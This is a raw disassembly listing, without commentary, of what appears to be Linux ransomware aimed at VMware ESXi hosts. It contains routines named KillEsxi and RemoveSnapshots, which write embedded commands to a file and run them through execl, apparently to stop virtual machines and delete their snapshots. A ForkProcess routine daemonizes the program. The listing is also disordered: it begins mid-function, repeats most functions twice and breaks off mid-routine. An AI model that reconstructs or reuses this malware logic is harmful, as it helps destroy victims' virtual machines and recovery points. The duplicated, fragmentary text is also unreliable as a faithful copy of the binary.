0040ce1bmov eax, eax
0040ce1dshl rax, 3
0040ce21mov rdi, rax
0040ce24call malloc@plt
0040ce29mov [rbp-48], rax
0040ce2dcmp [rbp-48], 0
0040ce32jne 0x40ce3e
0040ce34mov eax, 0
0040ce39jmp 0x40cf45
0040ce3e
0040ce3eloc_40ce3e:
0040ce3emov [rbp-24], 0
0040ce46lea rdx, [rbp-60]
0040ce4amov rax, [rbp-56]
0040ce4emov rsi, rdx
0040ce51mov rdi, rax
0040ce54call strtok@plt
0040ce59mov [rbp-32], rax
0040ce5djmp 0x40cf36
0040ce62
0040ce62loc_40ce62:
0040ce62mov rax, [rbp-24]
0040ce66shl rax, 3
0040ce6amov rbx, rax
0040ce6dadd rbx, [rbp-48]
0040ce71mov rax, [rbp-32]
0040ce75mov [rbp-80], -1
0040ce7dmov rdx, rax
0040ce80mov eax, 0
0040ce85mov rcx, [rbp-80]
0040ce89mov rdi, rdx
0040ce8crepne scasb [rdi], al
0040ce8emov rax, rcx
0040ce91not rax
0040ce94sub rax, 1
0040ce98add rax, 1
0040ce9cmov rdi, rax
0040ce9fcall malloc@plt
0040cea4mov [rbx], rax
0040cea7mov rax, [rbp-24]
0040ceabshl rax, 3
0040ceafadd rax, [rbp-48]
0040ceb3mov rax, [rax]
0040ceb6test rax, rax
0040ceb9jne 0x40cefe
0040cebbmov [rbp-40], 0
0040cec3jmp 0x40cee1
0040cec5
0040cec5loc_40cec5:
0040cec5mov rax, [rbp-40]
0040cec9shl rax, 3
0040cecdadd rax, [rbp-48]
0040ced1mov rax, [rax]
0040ced4mov rdi, rax
0040ced7call free@plt
0040cedcadd [rbp-40], 1
0040cee1
0040cee1loc_40cee1:
0040cee1mov rax, [rbp-40]
0040cee5cmp rax, [rbp-24]
0040cee9jb 0x40cec5
0040ceebmov rax, [rbp-48]
0040ceefmov rdi, rax
0040cef2call free@plt
0040cef7mov eax, 0
0040cefcjmp 0x40cf45
0040cefe
0040cefeloc_40cefe:
0040cefemov rdx, [rbp-32]
0040cf02mov rax, [rbp-24]
0040cf06shl rax, 3
0040cf0aadd rax, [rbp-48]
0040cf0emov rax, [rax]
0040cf11mov rsi, rdx
0040cf14mov rdi, rax
0040cf17call strcpy@plt
0040cf1cadd [rbp-24], 1
0040cf21lea rax, [rbp-60]
0040cf25mov rsi, rax
0040cf28mov edi, 0
0040cf2dcall strtok@plt
0040cf32mov [rbp-32], rax
0040cf36
0040cf36loc_40cf36:
0040cf36cmp [rbp-32], 0
0040cf3bjne 0x40ce62
0040cf41mov rax, [rbp-48]
0040cf45
0040cf45loc_40cf45:
0040cf45add rsp, 72
0040cf49pop rbx
0040cf4apop rbp
0040cf4bret
0040cde4
0040cf4c
0040cf4cReplaseStringA:
0040cf4cpush rbp
0040cf4dmov rbp, rsp
0040cf50sub rsp, 112
0040cf54mov [rbp-88], rdi
0040cf58mov [rbp-96], rsi
0040cf5cmov [rbp-104], rdx
0040cf60mov rax, [rbp-104]
0040cf64mov [rbp-112], -1
0040cf6cmov rdx, rax
0040cf6fmov eax, 0
0040cf74mov rcx, [rbp-112]
0040cf78mov rdi, rdx
0040cf7brepne scasb [rdi], al
0040cf7dmov rax, rcx
0040cf80not rax
0040cf83sub rax, 1
0040cf87mov [rbp-28], eax
0040cf8amov rax, [rbp-96]
0040cf8emov [rbp-112], -1
0040cf96mov rdx, rax
0040cf99mov eax, 0
0040cf9emov rcx, [rbp-112]
0040cfa2mov rdi, rdx
0040cfa5repne scasb [rdi], al
0040cfa7mov rax, rcx
0040cfaanot rax
0040cfadsub rax, 1
0040cfb1mov [rbp-32], eax
0040cfb4mov rax, [rbp-88]
0040cfb8mov [rbp-112], -1
0040cfc0mov rdx, rax
0040cfc3mov eax, 0
0040cfc8mov rcx, [rbp-112]
0040cfccmov rdi, rdx
0040cfcfrepne scasb [rdi], al
0040cfd1mov rax, rcx
0040cfd4not rax
0040cfd7sub rax, 1
0040cfdbmov [rbp-36], eax
0040cfdemov [rbp-4], 0
0040cfe5mov rax, [rbp-88]
0040cfe9mov [rbp-16], rax
0040cfedjmp 0x40cffe
0040cfef
0040cfefloc_40cfef:
0040cfefadd [rbp-4], 1
0040cff3mov eax, [rbp-32]
0040cff6add rax, [rbp-48]
0040cffamov [rbp-16], rax
0040cffe
0040cffeloc_40cffe:
0040cffemov rdx, [rbp-96]
0040d002mov rax, [rbp-16]
0040d006mov rsi, rdx
0040d009mov rdi, rax
0040d00ccall strstr@plt
0040d011mov [rbp-48], rax
0040d015cmp [rbp-48], 0
0040d01ajne 0x40cfef
0040d01cmov eax, [rbp-32]
0040d01fmov edx, [rbp-28]
0040d022mov ecx, edx
0040d024sub ecx, eax
0040d026mov eax, ecx
0040d028imul eax, [rbp-4]
0040d02cadd eax, [rbp-36]
0040d02fmov [rbp-52], eax
0040d032mov eax, [rbp-52]
0040d035add eax, 1
0040d038mov eax, eax
0040d03amov rdi, rax
0040d03dcall malloc@plt
0040d042mov [rbp-64], rax
0040d046cmp [rbp-64], 0
0040d04bje 0x40d0ed
0040d051mov rax, [rbp-64]
0040d055mov [rbp-24], rax
0040d059mov rax, [rbp-88]
0040d05dmov [rbp-16], rax
0040d061jmp 0x40d0bc
0040d063
0040d063loc_40d063:
0040d063mov rdx, [rbp-48]
0040d067mov rax, [rbp-16]
0040d06bmov rdi, rdx
0040d06esub rdi, rax
0040d071mov rax, rdi
0040d074mov [rbp-68], eax
0040d077mov edx, [rbp-68]
0040d07amov rcx, [rbp-16]
0040d07emov rax, [rbp-24]
0040d082mov rsi, rcx
0040d085mov rdi, rax
0040d088call SafeStrCpyA
0040d08dmov eax, [rbp-68]
0040d090add [rbp-24], rax
0040d094mov edx, [rbp-28]
0040d097mov rcx, [rbp-104]
0040d09bmov rax, [rbp-24]
0040d09fmov rsi, rcx
0040d0a2mov rdi, rax
0040d0a5call SafeStrCpyA
0040d0aamov eax, [rbp-28]
0040d0adadd [rbp-24], rax
0040d0b1mov eax, [rbp-32]
0040d0b4add rax, [rbp-48]
0040d0b8mov [rbp-16], rax
0040d0bc
0040d0bcloc_40d0bc:
0040d0bcmov rdx, [rbp-96]
0040d0c0mov rax, [rbp-16]
0040d0c4mov rsi, rdx
0040d0c7mov rdi, rax
0040d0cacall strstr@plt
0040d0cfmov [rbp-48], rax
0040d0d3cmp [rbp-48], 0
0040d0d8jne 0x40d063
0040d0damov rdx, [rbp-16]
0040d0demov rax, [rbp-24]
0040d0e2mov rsi, rdx
0040d0e5mov rdi, rax
0040d0e8call strcpy@plt
0040d0ed
0040d0edloc_40d0ed:
0040d0edmov rax, [rbp-64]
0040d0f1leave
0040d0f2ret
0040cf4c
0040cf4cReplaseStringA:
0040cf4cpush rbp
0040cf4dmov rbp, rsp
0040cf50sub rsp, 112
0040cf54mov [rbp-88], rdi
0040cf58mov [rbp-96], rsi
0040cf5cmov [rbp-104], rdx
0040cf60mov rax, [rbp-104]
0040cf64mov [rbp-112], -1
0040cf6cmov rdx, rax
0040cf6fmov eax, 0
0040cf74mov rcx, [rbp-112]
0040cf78mov rdi, rdx
0040cf7brepne scasb [rdi], al
0040cf7dmov rax, rcx
0040cf80not rax
0040cf83sub rax, 1
0040cf87mov [rbp-28], eax
0040cf8amov rax, [rbp-96]
0040cf8emov [rbp-112], -1
0040cf96mov rdx, rax
0040cf99mov eax, 0
0040cf9emov rcx, [rbp-112]
0040cfa2mov rdi, rdx
0040cfa5repne scasb [rdi], al
0040cfa7mov rax, rcx
0040cfaanot rax
0040cfadsub rax, 1
0040cfb1mov [rbp-32], eax
0040cfb4mov rax, [rbp-88]
0040cfb8mov [rbp-112], -1
0040cfc0mov rdx, rax
0040cfc3mov eax, 0
0040cfc8mov rcx, [rbp-112]
0040cfccmov rdi, rdx
0040cfcfrepne scasb [rdi], al
0040cfd1mov rax, rcx
0040cfd4not rax
0040cfd7sub rax, 1
0040cfdbmov [rbp-36], eax
0040cfdemov [rbp-4], 0
0040cfe5mov rax, [rbp-88]
0040cfe9mov [rbp-16], rax
0040cfedjmp 0x40cffe
0040cfef
0040cfefloc_40cfef:
0040cfefadd [rbp-4], 1
0040cff3mov eax, [rbp-32]
0040cff6add rax, [rbp-48]
0040cffamov [rbp-16], rax
0040cffe
0040cffeloc_40cffe:
0040cffemov rdx, [rbp-96]
0040d002mov rax, [rbp-16]
0040d006mov rsi, rdx
0040d009mov rdi, rax
0040d00ccall strstr@plt
0040d011mov [rbp-48], rax
0040d015cmp [rbp-48], 0
0040d01ajne 0x40cfef
0040d01cmov eax, [rbp-32]
0040d01fmov edx, [rbp-28]
0040d022mov ecx, edx
0040d024sub ecx, eax
0040d026mov eax, ecx
0040d028imul eax, [rbp-4]
0040d02cadd eax, [rbp-36]
0040d02fmov [rbp-52], eax
0040d032mov eax, [rbp-52]
0040d035add eax, 1
0040d038mov eax, eax
0040d03amov rdi, rax
0040d03dcall malloc@plt
0040d042mov [rbp-64], rax
0040d046cmp [rbp-64], 0
0040d04bje 0x40d0ed
0040d051mov rax, [rbp-64]
0040d055mov [rbp-24], rax
0040d059mov rax, [rbp-88]
0040d05dmov [rbp-16], rax
0040d061jmp 0x40d0bc
0040d063
0040d063loc_40d063:
0040d063mov rdx, [rbp-48]
0040d067mov rax, [rbp-16]
0040d06bmov rdi, rdx
0040d06esub rdi, rax
0040d071mov rax, rdi
0040d074mov [rbp-68], eax
0040d077mov edx, [rbp-68]
0040d07amov rcx, [rbp-16]
0040d07emov rax, [rbp-24]
0040d082mov rsi, rcx
0040d085mov rdi, rax
0040d088call SafeStrCpyA
0040d08dmov eax, [rbp-68]
0040d090add [rbp-24], rax
0040d094mov edx, [rbp-28]
0040d097mov rcx, [rbp-104]
0040d09bmov rax, [rbp-24]
0040d09fmov rsi, rcx
0040d0a2mov rdi, rax
0040d0a5call SafeStrCpyA
0040d0aamov eax, [rbp-28]
0040d0adadd [rbp-24], rax
0040d0b1mov eax, [rbp-32]
0040d0b4add rax, [rbp-48]
0040d0b8mov [rbp-16], rax
0040d0bc
0040d0bcloc_40d0bc:
0040d0bcmov rdx, [rbp-96]
0040d0c0mov rax, [rbp-16]
0040d0c4mov rsi, rdx
0040d0c7mov rdi, rax
0040d0cacall strstr@plt
0040d0cfmov [rbp-48], rax
0040d0d3cmp [rbp-48], 0
0040d0d8jne 0x40d063
0040d0damov rdx, [rbp-16]
0040d0demov rax, [rbp-24]
0040d0e2mov rsi, rdx
0040d0e5mov rdi, rax
0040d0e8call strcpy@plt
0040d0ed
0040d0edloc_40d0ed:
0040d0edmov rax, [rbp-64]
0040d0f1leave
0040d0f2ret
0040cf4c
0040d0f3
0040d0f3Sleep:
0040d0f3push rbp
0040d0f4mov rbp, rsp
0040d0f7push rbx
0040d0f8sub rsp, 56
0040d0fcmov [rbp-56], rdi
0040d100cmp [rbp-56], 0
0040d105jns 0x40d11c
0040d107call __errno_location@plt
0040d10cmov [rax], 22
0040d112mov eax, -1
0040d117jmp 0x40d1b6
0040d11c
0040d11cloc_40d11c:
0040d11cmov rcx, [rbp-56]
0040d120mov rdx, 0x20c49ba5e353f7cf
0040d12amov rax, rcx
0040d12dimul rdx
0040d130sar rdx, 7
0040d134mov rax, rcx
0040d137sar rax, 63
0040d13bmov rcx, rdx
0040d13esub rcx, rax
0040d141mov rax, rcx
0040d144mov [rbp-48], rax
0040d148mov rcx, [rbp-56]
0040d14cmov rdx, 0x20c49ba5e353f7cf
0040d156mov rax, rcx
0040d159imul rdx
0040d15csar rdx, 7
0040d160mov rax, rcx
0040d163sar rax, 63
0040d167mov rbx, rdx
0040d16asub rbx, rax
0040d16dmov rax, rbx
0040d170imul rax, rax, 1000
0040d177mov rdx, rcx
0040d17asub rdx, rax
0040d17dmov rax, rdx
0040d180imul rax, rax, 0xf4240
0040d187mov [rbp-40], rax
0040d18b
0040d18bloc_40d18b:
0040d18blea rdx, [rbp-48]
0040d18flea rax, [rbp-48]
0040d193mov rsi, rdx
0040d196mov rdi, rax
0040d199call nanosleep@plt
0040d19emov [rbp-20], eax
0040d1a1cmp [rbp-20], 0
0040d1a5je 0x40d1b3
0040d1a7call __errno_location@plt
0040d1acmov eax, [rax]
0040d1aecmp eax, 4
0040d1b1je 0x40d18b
0040d1b3
0040d1b3loc_40d1b3:
0040d1b3mov eax, [rbp-20]
0040d1b6
0040d1b6loc_40d1b6:
0040d1b6add rsp, 56
0040d1bapop rbx
0040d1bbpop rbp
0040d1bcret
0040d0f3
0040d0f3Sleep:
0040d0f3push rbp
0040d0f4mov rbp, rsp
0040d0f7push rbx
0040d0f8sub rsp, 56
0040d0fcmov [rbp-56], rdi
0040d100cmp [rbp-56], 0
0040d105jns 0x40d11c
0040d107call __errno_location@plt
0040d10cmov [rax], 22
0040d112mov eax, -1
0040d117jmp 0x40d1b6
0040d11c
0040d11cloc_40d11c:
0040d11cmov rcx, [rbp-56]
0040d120mov rdx, 0x20c49ba5e353f7cf
0040d12amov rax, rcx
0040d12dimul rdx
0040d130sar rdx, 7
0040d134mov rax, rcx
0040d137sar rax, 63
0040d13bmov rcx, rdx
0040d13esub rcx, rax
0040d141mov rax, rcx
0040d144mov [rbp-48], rax
0040d148mov rcx, [rbp-56]
0040d14cmov rdx, 0x20c49ba5e353f7cf
0040d156mov rax, rcx
0040d159imul rdx
0040d15csar rdx, 7
0040d160mov rax, rcx
0040d163sar rax, 63
0040d167mov rbx, rdx
0040d16asub rbx, rax
0040d16dmov rax, rbx
0040d170imul rax, rax, 1000
0040d177mov rdx, rcx
0040d17asub rdx, rax
0040d17dmov rax, rdx
0040d180imul rax, rax, 0xf4240
0040d187mov [rbp-40], rax
0040d18b
0040d18bloc_40d18b:
0040d18blea rdx, [rbp-48]
0040d18flea rax, [rbp-48]
0040d193mov rsi, rdx
0040d196mov rdi, rax
0040d199call nanosleep@plt
0040d19emov [rbp-20], eax
0040d1a1cmp [rbp-20], 0
0040d1a5je 0x40d1b3
0040d1a7call __errno_location@plt
0040d1acmov eax, [rax]
0040d1aecmp eax, 4
0040d1b1je 0x40d18b
0040d1b3
0040d1b3loc_40d1b3:
0040d1b3mov eax, [rbp-20]
0040d1b6
0040d1b6loc_40d1b6:
0040d1b6add rsp, 56
0040d1bapop rbx
0040d1bbpop rbp
0040d1bcret
0040d0f3
0040d1bd
0040d1bdForkProcess:
0040d1bdpush rbp
0040d1bemov rbp, rsp
0040d1c1sub rsp, 16
0040d1c5call fork@plt
0040d1camov [rbp-4], eax
0040d1cdcmp [rbp-4], 0
0040d1d1jns 0x40d1e7
0040d1d3mov edi, 0x40f490
0040d1d8call perror@plt
0040d1ddmov edi, 1
0040d1e2call exit@plt
0040d1e7
0040d1e7loc_40d1e7:
0040d1e7cmp [rbp-4], 0
0040d1ebjle 0x40d1f7
0040d1edmov edi, 0
0040d1f2call exit@plt
0040d1f7
0040d1f7loc_40d1f7:
0040d1f7call setsid@plt
0040d1fctest eax, eax
0040d1fejns 0x40d214
0040d200mov edi, 0x40f495
0040d205call perror@plt
0040d20amov edi, 1
0040d20fcall exit@plt
0040d214
0040d214loc_40d214:
0040d214mov esi, 1
0040d219mov edi, 1
0040d21ecall signal@plt
0040d223call fork@plt
0040d228mov [rbp-4], eax
0040d22bcmp [rbp-4], 0
0040d22fjns 0x40d245
0040d231mov edi, 0x40f490
0040d236call perror@plt
0040d23bmov edi, 1
0040d240call exit@plt
0040d245
0040d245loc_40d245:
0040d245cmp [rbp-4], 0
0040d249jle 0x40d255
0040d24bmov edi, 0
0040d250call exit@plt
0040d255
0040d255loc_40d255:
0040d255mov edi, 0
0040d25acall umask@plt
0040d25fmov edi, 0
0040d264call close@plt
0040d269mov edi, 1
0040d26ecall close@plt
0040d273mov edi, 2
0040d278call close@plt
0040d27dmov esi, 0
0040d282mov edi, 0x40f49c
0040d287mov eax, 0
0040d28ccall open@plt
0040d291mov esi, 1
0040d296mov edi, 0x40f49c
0040d29bmov eax, 0
0040d2a0call open@plt
0040d2a5mov esi, 1
0040d2aamov edi, 0x40f49c
0040d2afmov eax, 0
0040d2b4call open@plt
0040d2b9leave
0040d2baret
0040d1bd
0040d1bdForkProcess:
0040d1bdpush rbp
0040d1bemov rbp, rsp
0040d1c1sub rsp, 16
0040d1c5call fork@plt
0040d1camov [rbp-4], eax
0040d1cdcmp [rbp-4], 0
0040d1d1jns 0x40d1e7
0040d1d3mov edi, 0x40f490
0040d1d8call perror@plt
0040d1ddmov edi, 1
0040d1e2call exit@plt
0040d1e7
0040d1e7loc_40d1e7:
0040d1e7cmp [rbp-4], 0
0040d1ebjle 0x40d1f7
0040d1edmov edi, 0
0040d1f2call exit@plt
0040d1f7
0040d1f7loc_40d1f7:
0040d1f7call setsid@plt
0040d1fctest eax, eax
0040d1fejns 0x40d214
0040d200mov edi, 0x40f495
0040d205call perror@plt
0040d20amov edi, 1
0040d20fcall exit@plt
0040d214
0040d214loc_40d214:
0040d214mov esi, 1
0040d219mov edi, 1
0040d21ecall signal@plt
0040d223call fork@plt
0040d228mov [rbp-4], eax
0040d22bcmp [rbp-4], 0
0040d22fjns 0x40d245
0040d231mov edi, 0x40f490
0040d236call perror@plt
0040d23bmov edi, 1
0040d240call exit@plt
0040d245
0040d245loc_40d245:
0040d245cmp [rbp-4], 0
0040d249jle 0x40d255
0040d24bmov edi, 0
0040d250call exit@plt
0040d255
0040d255loc_40d255:
0040d255mov edi, 0
0040d25acall umask@plt
0040d25fmov edi, 0
0040d264call close@plt
0040d269mov edi, 1
0040d26ecall close@plt
0040d273mov edi, 2
0040d278call close@plt
0040d27dmov esi, 0
0040d282mov edi, 0x40f49c
0040d287mov eax, 0
0040d28ccall open@plt
0040d291mov esi, 1
0040d296mov edi, 0x40f49c
0040d29bmov eax, 0
0040d2a0call open@plt
0040d2a5mov esi, 1
0040d2aamov edi, 0x40f49c
0040d2afmov eax, 0
0040d2b4call open@plt
0040d2b9leave
0040d2baret
0040d1bd
0040d2bb
0040d2bbKillEsxi:
0040d2bbpush rbp
0040d2bcmov rbp, rsp
0040d2bfsub rsp, 320
0040d2c6call fork@plt
0040d2cbmov [rbp-4], eax
0040d2cemov eax, [rbp-4]
0040d2d1cmp eax, -1
0040d2d4je 0x40d2df
0040d2d6test eax, eax
0040d2d8je 0x40d2fd
0040d2dajmp 0x40d41a
0040d2df
0040d2dfloc_40d2df:
0040d2dfmov eax, [rip+0x2036eb]
0040d2e5test eax, eax
0040d2e7je 0x40d2f3
0040d2e9mov edi, 0x40f4a8
0040d2eecall puts@plt
0040d2f3
0040d2f3loc_40d2f3:
0040d2f3mov edi, 1
0040d2f8call exit@plt
0040d2fd
0040d2fdloc_40d2fd:
0040d2fdmov edx, 0x40f4d0
0040d302lea rax, [rbp-288]
0040d309mov rcx, [rdx]
0040d30cmov [rax], rcx
0040d30fmov rcx, [rdx+8]
0040d313mov [rax+8], rcx
0040d317mov rcx, [rdx+16]
0040d31bmov [rax+16], rcx
0040d31fmov rcx, [rdx+24]
0040d323mov [rax+24], rcx
0040d327mov rcx, [rdx+32]
0040d32bmov [rax+32], rcx
0040d32fmov rcx, [rdx+40]
0040d333mov [rax+40], rcx
0040d337mov rcx, [rdx+48]
0040d33bmov [rax+48], rcx
0040d33fmov rcx, [rdx+56]
0040d343mov [rax+56], rcx
0040d347mov rcx, [rdx+64]
0040d34bmov [rax+64], rcx
0040d34fmov rcx, [rdx+72]
0040d353mov [rax+72], rcx
0040d357mov rcx, [rdx+80]
0040d35bmov [rax+80], rcx
0040d35fmov rcx, [rdx+88]
0040d363mov [rax+88], rcx
0040d367mov rcx, [rdx+96]
0040d36bmov [rax+96], rcx
0040d36fmov rcx, [rdx+104]
0040d373mov [rax+104], rcx
0040d377mov rcx, [rdx+112]
0040d37bmov [rax+112], rcx
0040d37fmovzx edx, [rdx+120]
0040d383mov [rax+120], dx
0040d387mov edx, 0x40f54a
0040d38cmov eax, 0x40f54c
0040d391mov rsi, rdx
0040d394mov rdi, rax
0040d397call fopen@plt
0040d39cmov [rbp-16], rax
0040d3a0lea rax, [rbp-288]
0040d3a7mov [rbp-312], -1
0040d3b2mov rdx, rax
0040d3b5mov eax, 0
0040d3bamov rcx, [rbp-312]
0040d3c1mov rdi, rdx
0040d3c4repne scasb [rdi], al
0040d3c6mov rax, rcx
0040d3c9not rax
0040d3cclea rsi, [rax-1]
0040d3d0lea rax, [rbp-288]
0040d3d7mov rdx, [rbp-16]
0040d3dbmov rcx, rdx
0040d3demov rdx, rsi
0040d3e1mov esi, 1
0040d3e6mov rdi, rax
0040d3e9call fwrite@plt
0040d3eemov rax, [rbp-16]
0040d3f2mov rdi, rax
0040d3f5call fclose@plt
0040d3famov ecx, 0
0040d3ffmov edx, 0x40f54c
0040d404mov esi, 0x40f551
0040d409mov edi, 0x40f554
0040d40emov eax, 0
0040d413call execl@plt
0040d418jmp 0x40d466
0040d41a
0040d41aloc_40d41a:
0040d41amov eax, [rip+0x2035b0]
0040d420test eax, eax
0040d422je 0x40d42e
0040d424mov edi, 0x40f55c
0040d429call puts@plt
0040d42e
0040d42eloc_40d42e:
0040d42emov [rbp-292], 0
0040d438lea rcx, [rbp-292]
0040d43fmov eax, [rbp-4]
0040d442mov edx, 0
0040d447mov rsi, rcx
0040d44amov edi, eax
0040d44ccall waitpid@plt
0040d451mov edi, 0x40f54c
0040d456call remove@plt
0040d45bmov edi, 0x40f577
0040d460call puts@plt
0040d465nop
0040d466
0040d466loc_40d466:
0040d466leave
0040d467ret
0040d2bb
0040d2bbKillEsxi:
0040d2bbpush rbp
0040d2bcmov rbp, rsp
0040d2bfsub rsp, 320
0040d2c6call fork@plt
0040d2cbmov [rbp-4], eax
0040d2cemov eax, [rbp-4]
0040d2d1cmp eax, -1
0040d2d4je 0x40d2df
0040d2d6test eax, eax
0040d2d8je 0x40d2fd
0040d2dajmp 0x40d41a
0040d2df
0040d2dfloc_40d2df:
0040d2dfmov eax, [rip+0x2036eb]
0040d2e5test eax, eax
0040d2e7je 0x40d2f3
0040d2e9mov edi, 0x40f4a8
0040d2eecall puts@plt
0040d2f3
0040d2f3loc_40d2f3:
0040d2f3mov edi, 1
0040d2f8call exit@plt
0040d2fd
0040d2fdloc_40d2fd:
0040d2fdmov edx, 0x40f4d0
0040d302lea rax, [rbp-288]
0040d309mov rcx, [rdx]
0040d30cmov [rax], rcx
0040d30fmov rcx, [rdx+8]
0040d313mov [rax+8], rcx
0040d317mov rcx, [rdx+16]
0040d31bmov [rax+16], rcx
0040d31fmov rcx, [rdx+24]
0040d323mov [rax+24], rcx
0040d327mov rcx, [rdx+32]
0040d32bmov [rax+32], rcx
0040d32fmov rcx, [rdx+40]
0040d333mov [rax+40], rcx
0040d337mov rcx, [rdx+48]
0040d33bmov [rax+48], rcx
0040d33fmov rcx, [rdx+56]
0040d343mov [rax+56], rcx
0040d347mov rcx, [rdx+64]
0040d34bmov [rax+64], rcx
0040d34fmov rcx, [rdx+72]
0040d353mov [rax+72], rcx
0040d357mov rcx, [rdx+80]
0040d35bmov [rax+80], rcx
0040d35fmov rcx, [rdx+88]
0040d363mov [rax+88], rcx
0040d367mov rcx, [rdx+96]
0040d36bmov [rax+96], rcx
0040d36fmov rcx, [rdx+104]
0040d373mov [rax+104], rcx
0040d377mov rcx, [rdx+112]
0040d37bmov [rax+112], rcx
0040d37fmovzx edx, [rdx+120]
0040d383mov [rax+120], dx
0040d387mov edx, 0x40f54a
0040d38cmov eax, 0x40f54c
0040d391mov rsi, rdx
0040d394mov rdi, rax
0040d397call fopen@plt
0040d39cmov [rbp-16], rax
0040d3a0lea rax, [rbp-288]
0040d3a7mov [rbp-312], -1
0040d3b2mov rdx, rax
0040d3b5mov eax, 0
0040d3bamov rcx, [rbp-312]
0040d3c1mov rdi, rdx
0040d3c4repne scasb [rdi], al
0040d3c6mov rax, rcx
0040d3c9not rax
0040d3cclea rsi, [rax-1]
0040d3d0lea rax, [rbp-288]
0040d3d7mov rdx, [rbp-16]
0040d3dbmov rcx, rdx
0040d3demov rdx, rsi
0040d3e1mov esi, 1
0040d3e6mov rdi, rax
0040d3e9call fwrite@plt
0040d3eemov rax, [rbp-16]
0040d3f2mov rdi, rax
0040d3f5call fclose@plt
0040d3famov ecx, 0
0040d3ffmov edx, 0x40f54c
0040d404mov esi, 0x40f551
0040d409mov edi, 0x40f554
0040d40emov eax, 0
0040d413call execl@plt
0040d418jmp 0x40d466
0040d41a
0040d41aloc_40d41a:
0040d41amov eax, [rip+0x2035b0]
0040d420test eax, eax
0040d422je 0x40d42e
0040d424mov edi, 0x40f55c
0040d429call puts@plt
0040d42e
0040d42eloc_40d42e:
0040d42emov [rbp-292], 0
0040d438lea rcx, [rbp-292]
0040d43fmov eax, [rbp-4]
0040d442mov edx, 0
0040d447mov rsi, rcx
0040d44amov edi, eax
0040d44ccall waitpid@plt
0040d451mov edi, 0x40f54c
0040d456call remove@plt
0040d45bmov edi, 0x40f577
0040d460call puts@plt
0040d465nop
0040d466
0040d466loc_40d466:
0040d466leave
0040d467ret
0040d2bb
0040d468
0040d468RemoveSnapshots:
0040d468push rbp
0040d469mov rbp, rsp
0040d46csub rsp, 304
0040d473call fork@plt
0040d478mov [rbp-4], eax
0040d47bmov eax, [rbp-4]
0040d47ecmp eax, -1
0040d481je 0x40d48c
0040d483test eax, eax
0040d485je 0x40d4aa
0040d487jmp 0x40d576
0040d48c
0040d48cloc_40d48c:
0040d48cmov eax, [rip+0x20353e]
0040d492test eax, eax
0040d494je 0x40d4a0
0040d496mov edi, 0x40f4a8
0040d49bcall puts@plt
0040d4a0
0040d4a0loc_40d4a0:
0040d4a0mov edi, 1
0040d4a5call exit@plt
0040d4aa
0040d4aaloc_40d4aa:
0040d4aamov eax, 0x40f598
0040d4aflea rdx, [rbp-288]
0040d4b6mov ecx, 15
0040d4bbmov rdi, rdx
0040d4bemov rsi, rax
0040d4c1rep movsq [rdi], [rsi]
0040d4c4mov rax, rsi
0040d4c7mov rdx, rdi
0040d4camov ecx, [rax]
0040d4ccmov [rdx], ecx
0040d4ceadd rdx, 4
0040d4d2add rax, 4
0040d4d6movzx ecx, [rax]
0040d4d9mov [rdx], cl
0040d4dbadd rdx, 1
0040d4dfadd rax, 1
0040d4e3mov edx, 0x40f54a
0040d4e8mov eax, 0x40f615
0040d4edmov rsi, rdx
0040d4f0mov rdi, rax
0040d4f3call fopen@plt
0040d4f8mov [rbp-16], rax
0040d4fclea rax, [rbp-288]
0040d503mov [rbp-296], -1
0040d50emov rdx, rax
0040d511mov eax, 0
0040d516mov rcx, [rbp-296]
0040d51dmov rdi, rdx
0040d520repne scasb [rdi], al
0040d522mov rax, rcx
0040d525not rax
0040d528lea rsi, [rax-1]
0040d52clea rax, [rbp-288]
0040d533mov rdx, [rbp-16]
0040d537mov rcx, rdx
0040d53amov rdx, rsi
0040d53dmov esi, 1
0040d542mov rdi, rax
0040d545call fwrite@plt
0040d54amov rax, [rbp-16]
0040d54emov rdi, rax
0040d551call fclose@plt
0040d556mov ecx, 0
0040d55bmov edx, 0x40f615
0040d560mov esi, 0x40f551
0040d565mov edi, 0x40f554
0040d56amov eax, 0
0040d56fcall execl@plt
0040d574jmp 0x40d58b
0040d576
0040d576loc_40d576:
0040d576mov eax, [rip+0x203454]
0040d57ctest eax, eax
0040d57eje 0x40d58a
0040d580mov edi, 0x40f61c
0040d585call puts@plt
0040d58a
0040d58aloc_40d58a:
0040d58anop
0040d58b
0040d58bloc_40d58b:
0040d58bleave
0040d58cret
0040d468
0040d468RemoveSnapshots:
0040d468push rbp
0040d469mov rbp, rsp
0040d46csub rsp, 304
0040d473call fork@plt
0040d478mov [rbp-4], eax
0040d47bmov eax, [rbp-4]
0040d47ecmp eax, -1
0040d481je 0x40d48c
0040d483test eax, eax
0040d485je 0x40d4aa
0040d487jmp 0x40d576
0040d48c
0040d48cloc_40d48c:
0040d48cmov eax, [rip+0x20353e]
0040d492test eax, eax
0040d494je 0x40d4a0
0040d496mov edi, 0x40f4a8
0040d49bcall puts@plt
0040d4a0
0040d4a0loc_40d4a0:
0040d4a0mov edi, 1
0040d4a5call exit@plt
0040d4aa
0040d4aaloc_40d4aa:
0040d4aamov eax, 0x40f598
0040d4aflea rdx, [rbp-288]
0040d4b6mov ecx, 15
0040d4bbmov rdi, rdx
0040d4bemov rsi, rax
0040d4c1rep movsq [rdi], [rsi]
0040d4c4mov rax, rsi
0040d4c7mov rdx, rdi
0040d4camov ecx, [rax]
0040d4ccmov [rdx], ecx
0040d4ceadd rdx, 4
0040d4d2add rax, 4
0040d4d6movzx ecx, [rax]
0040d4d9mov [rdx], cl
0040d4dbadd rdx, 1
0040d4dfadd rax, 1
0040d4e3mov edx, 0x40f54a
0040d4e8mov eax, 0x40f615
0040d4edmov rsi, rdx
0040d4f0mov rdi, rax
0040d4f3call fopen@plt
0040d4f8mov [rbp-16], rax
0040d4fclea rax, [rbp-288]
0040d503mov [rbp-296], -1
0040d50emov rdx, rax
0040d511mov eax, 0
0040d516mov rcx, [rbp-296]
0040d51dmov rdi, rdx
0040d520repne scasb [rdi], al
0040d522mov rax, rcx
0040d525not rax
0040d528lea rsi, [rax-1]
0040d52clea rax, [rbp-288]
0040d533mov rdx, [rbp-16]
0040d537mov rcx, rdx
0040d53amov rdx, rsi
0040d53dmov esi, 1
0040d542mov rdi, rax
0040d545call fwrite@plt
0040d54amov rax, [rbp-16]
0040d54emov rdi, rax
0040d551call fclose@plt
0040d556mov ecx, 0
0040d55bmov edx, 0x40f615
0040d560mov esi, 0x40f551
0040d565mov edi, 0x40f554
0040d56amov eax, 0
0040d56fcall execl@plt
0040d574jmp 0x40d58b
0040d576
0040d576loc_40d576:
0040d576mov eax, [rip+0x203454]
0040d57ctest eax, eax
0040d57eje 0x40d58a
0040d580mov edi, 0x40f61c
